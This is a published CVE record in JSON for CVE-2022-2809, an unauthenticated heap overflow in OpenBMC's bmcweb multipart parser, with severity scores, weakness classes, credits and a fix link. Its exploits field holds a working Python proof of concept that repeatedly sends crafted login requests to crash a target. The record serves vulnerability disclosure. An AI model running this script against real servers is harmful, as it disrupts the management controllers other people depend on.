Show plain JSON{"dataType": "CVE_RECORD", "dataVersion": "5.1", "cveMetadata": {"state": "PUBLISHED", "cveId": "CVE-2022-2809", "assignerOrgId": "7eaec9cd-e18a-43f9-bb90-5f82d308c514", "assignerShortName": "OpenBMC", "datePublished": "2022-10-27T13:09:19.424Z", "dateUpdated": "2025-05-05T20:20:18.093Z", "dateReserved": "2022-08-13T00:00:00.000Z"}, "containers": {"cna": {"title": "Unauthenticated out of bounds heap write in bmcweb", "datePublic": "2022-10-07T00:00:00.000Z", "providerMetadata": {"orgId": "7eaec9cd-e18a-43f9-bb90-5f82d308c514", "shortName": "OpenBMC", "dateUpdated": "2022-10-27T00:00:00.000Z"}, "descriptions": [{"lang": "en", "value": "A vulnerability in bmcweb of OpenBMC Project allows user to cause denial of service. When fuzzing the multipart_parser code using AFL++ with address sanitizer enabled to find smallest memory corruptions possible. It detected problem in how multipart_parser handles unclosed http headers. If long enough http header is passed in the multipart form without colon there is one byte overwrite on heap. It can be conducted multiple times in a loop to cause DoS."}], "affected": [{"vendor": "OpenBMC Project", "product": "OpenBMC", "versions": [{"version": "2.10", "status": "affected", "lessThan": "Release*", "versionType": "custom", "changes": [{"at": "2.13", "status": "unaffected"}]}]}], "references": [{"url": "https://github.com/openbmc/bmcweb"}], "credits": [{"lang": "en", "value": "Finder: Jakub Rozanski, Intel Corporation"}, {"lang": "en", "value": "Remediation: Krzysztof Grobelny, Intel Corporation"}], "metrics": [{"cvssV3_1": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "HIGH", "baseScore": 8.2, "baseSeverity": "HIGH"}}], "problemTypes": [{"descriptions": [{"type": "CWE", "lang": "en", "description": "CWE-229: Improper Handling of Values", "cweId": "CWE-229"}]}, {"descriptions": [{"type": "CWE", "lang": "en", "description": "CWE-122: Heap-based Buffer Overflow", "cweId": "CWE-122"}]}], "x_generator": {"engine": "Vulnogram 0.0.9"}, "source": {"discovery": "INTERNAL"}, "exploits": [{"lang": "en", "value": "import socket\nimport ssl\nimport time\n\nHOST = \"\" # PROVIDE HOSTNAME or IP ADDRESS OF TARGET BMCWEB\nPORT = 443\n\nlength = 322\nadditional = \"\"\n\npayload = \"\"\"POST /login HTTP/1.1\\r\\nHost: <HOST-IP-ADDR-HERE>:8080\\r\\nUser-Agent: curl/7.58.0\\r\\nAccept: */*\\r\\nContent-Length: %s\\r\\nContent-Type: multipart/form-data; boundary=---------------------------d74496d66958873e\\r\\n\\r\\n-----------------------------d74496d66958873e\\r\\nt-DiPpcccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccgccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc%s\\r\\n\\r\\n\"\"\"\n\nif __name__ == \"__main__\":\n\n while(True):\n client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n client.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n client = ssl.wrap_socket(client, cert_reqs=ssl.CERT_NONE)\n\n client.connect((HOST, PORT))\n toSend = payload % (str(length), additional)\n print(toSend)\n client.send(toSend.encode('utf-8'))\n print(client.recv(4096))\n client.close()\n time.sleep(0.01)\n length += 1\n additional += \"a\""}], "solutions": [{"lang": "en", "value": "https://gerrit.openbmc.org/c/openbmc/bmcweb/+/56796"}]}, "adp": [{"providerMetadata": {"orgId": "af854a3a-2127-422b-91ae-364da2661108", "shortName": "CVE", "dateUpdated": "2024-08-03T00:52:59.125Z"}, "title": "CVE Program Container", "references": [{"url": "https://github.com/openbmc/bmcweb", "tags": ["x_transferred"]}]}, {"metrics": [{"other": {"type": "ssvc", "content": {"timestamp": "2025-05-05T20:20:05.867799Z", "id": "CVE-2022-2809", "options": [{"Exploitation": "none"}, {"Automatable": "yes"}, {"Technical Impact": "partial"}], "role": "CISA Coordinator", "version": "2.0.3"}}}], "title": "CISA ADP Vulnrichment", "providerMetadata": {"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "shortName": "CISA-ADP", "dateUpdated": "2025-05-05T20:20:18.093Z"}}]}}